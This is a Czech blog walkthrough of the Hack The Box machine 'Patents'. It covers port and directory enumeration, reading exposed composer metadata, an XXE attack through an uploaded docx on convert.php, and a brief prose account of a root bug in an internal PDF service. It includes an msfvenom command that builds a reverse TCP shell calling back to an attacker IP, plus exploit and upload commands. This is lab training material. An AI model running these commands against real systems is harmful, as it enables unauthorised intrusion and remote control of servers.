tom@home.htb:~$

Blog o HTB

27 December 2020

Patents

Úvod a kontext

Patents je stroj z Hack The Box, který kombinuje špatně chráněné vývojové artefakty, XXE v převodu dokumentů a samostatnou chybu v interním PDF backendu. Dobře se na něm ukazuje, jak moc napoví veřejně vystavené release poznámky a composer metadata.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE         VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp   open  ssh             OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 39:b6:84:a7:a7:f3:c2:4f:38:db:fc:2a:dd:26:4e:67 (RSA)
|   256 b1:cd:18:c7:1d:df:57:c1:d2:61:31:89:9e:11:f5:65 (ECDSA)
|_  256 73:37:88:6a:2e:b8:01:4e:65:f7:f8:5e:47:f6:10:c4 (ED25519)
80/tcp   open  http            Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: MEOW Inc. - Patents Management
8888/tcp open  sun-answerbook?
| fingerprint-strings:
|   Help, LPDString, LSCP:
|_    LFM 400 BAD REQUEST
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.80%I=7%D=1/18%Time=5E23576C%P=x86_64-pc-linux-gnu%r(LS
SF:CP,17,"LFM\x20400\x20BAD\x20REQUEST\r\n\r\n")%r(Help,17,"LFM\x20400\x20
SF:BAD\x20REQUEST\r\n\r\n")%r(LPDString,17,"LFM\x20400\x20BAD\x20REQUEST\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

./dirsearch/dirsearch.py -u http://patents.htb/ -e php -x 403
[18:56:14] 200 -    6KB - /.DS_Store
[18:56:46] 200 -    1B  - /config.php
[18:56:59] 200 -   12KB - /index
[18:56:59] 200 -   12KB - /index.html
[18:57:16] 200 -   16KB - /profile
[18:57:18] 301 -  312B  - /release  ->  http://patents.htb/release/
[18:57:24] 301 -  311B  - /static  ->  http://patents.htb/static/
[18:57:29] 200 -    5KB - /upload
[18:57:29] 200 -    5KB - /upload.html
[18:57:29] 200 -  589B  - /upload.php
[18:57:29] 301 -  312B  - /uploads  ->  http://patents.htb/uploads/
[18:57:30] 200 -    0B  - /vendor/composer/autoload_classmap.php
[18:57:30] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[18:57:30] 200 -    0B  - /vendor/composer/autoload_files.php
[18:57:30] 200 -    0B  - /vendor/autoload.php
[18:57:30] 200 -    0B  - /vendor/composer/autoload_real.php
[18:57:30] 200 -    0B  - /vendor/composer/autoload_psr4.php
[18:57:30] 200 -    0B  - /vendor/composer/autoload_static.php
[18:57:30] 200 -    0B  - /vendor/composer/ClassLoader.php
[18:57:31] 200 -    1KB - /vendor/composer/LICENSE
[18:57:31] 200 -   26KB - /vendor/composer/installed.json

Enumerace webu (2)

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

./dirsearch/dirsearch.py -u http://patents.htb/release/ -e php -x 403 -w /__CENSORED__-large-words.txt
[19:09:30] 200 -  758B  - /release/UpdateDetails

Získání přístupu

Spuštění exploitu

V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.

curl http://patents.htb/vendor/composer/installed.json
"name": "gears/pdf",
        "version": "dev-master",
        "version_normalized": "9999999-dev",
        "source": {
            "type": "git",
            "url": "./lib/pdf/",
            "reference": "__CENSORED__"
        },

Spuštění exploitu (2)

V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.

msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.14.23 LPORT=4000 -f python
extract odt
copy word

rm bad.odt && cd bad && zip -r ../bad.odt * && cd ..

rm test.odt && cd test && zip -r ../test.odt mimetype * && cd ..

rm test.ods && cd testods && zip -r ../test.ods mimetype * && cd ..

rm libre.odt && cd libre && zip -r ../libre.odt mimetype * && cd ..

rm msf.odt && cd msf && zip -r ../msf.odt mimetype * && cd ..

libreoffice --headless --convert-to pdf:writer_pdf_Export --outdir . test.odt

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

installed.json prozradil lokální knihovnu gears/pdf a release/UpdateDetails zároveň zmiňovalo experimentální include funkcionalitu i zapnuté entity parsing. To je velmi silná indicie k XXE a k tomu, že samotný convert.php jen předává vstup dalšímu převodnímu backendu.

Další krok proto vedl ke škodlivému docx, ve kterém je XML upravené tak, aby převodník načetl externí DTD nebo lokální soubory. Tím šlo potvrdit XXE a následně zneužít převodní řetězec na convert.php k získání kódu na serveru. Jedním z doložených artefaktů této fáze je následující dvojice kroků:

python exploit.py --bind-port 5555 http://patents.htb/convert.php
curl -F "submit=a" -F "userfile=@doc.docx" -X POST http://patents.htb/convert.php

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

Samostatná root fáze mířila na interní službu na portu 8888, která už při skenu působila jako vlastní dokumentový backend. Šlo o PDF generátor s paměťovou chybou, takže po prvním footholdu dávalo smysl obrátit pozornost právě tam.

Je důležité rozlišit oba problémy. User část stojí na špatně zabezpečeném XML/konverzním řetězci, root část na chybě ve vlastní backendové službě spuštěné s vyššími právy.

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - rce - ssh - php - exploit - enumeration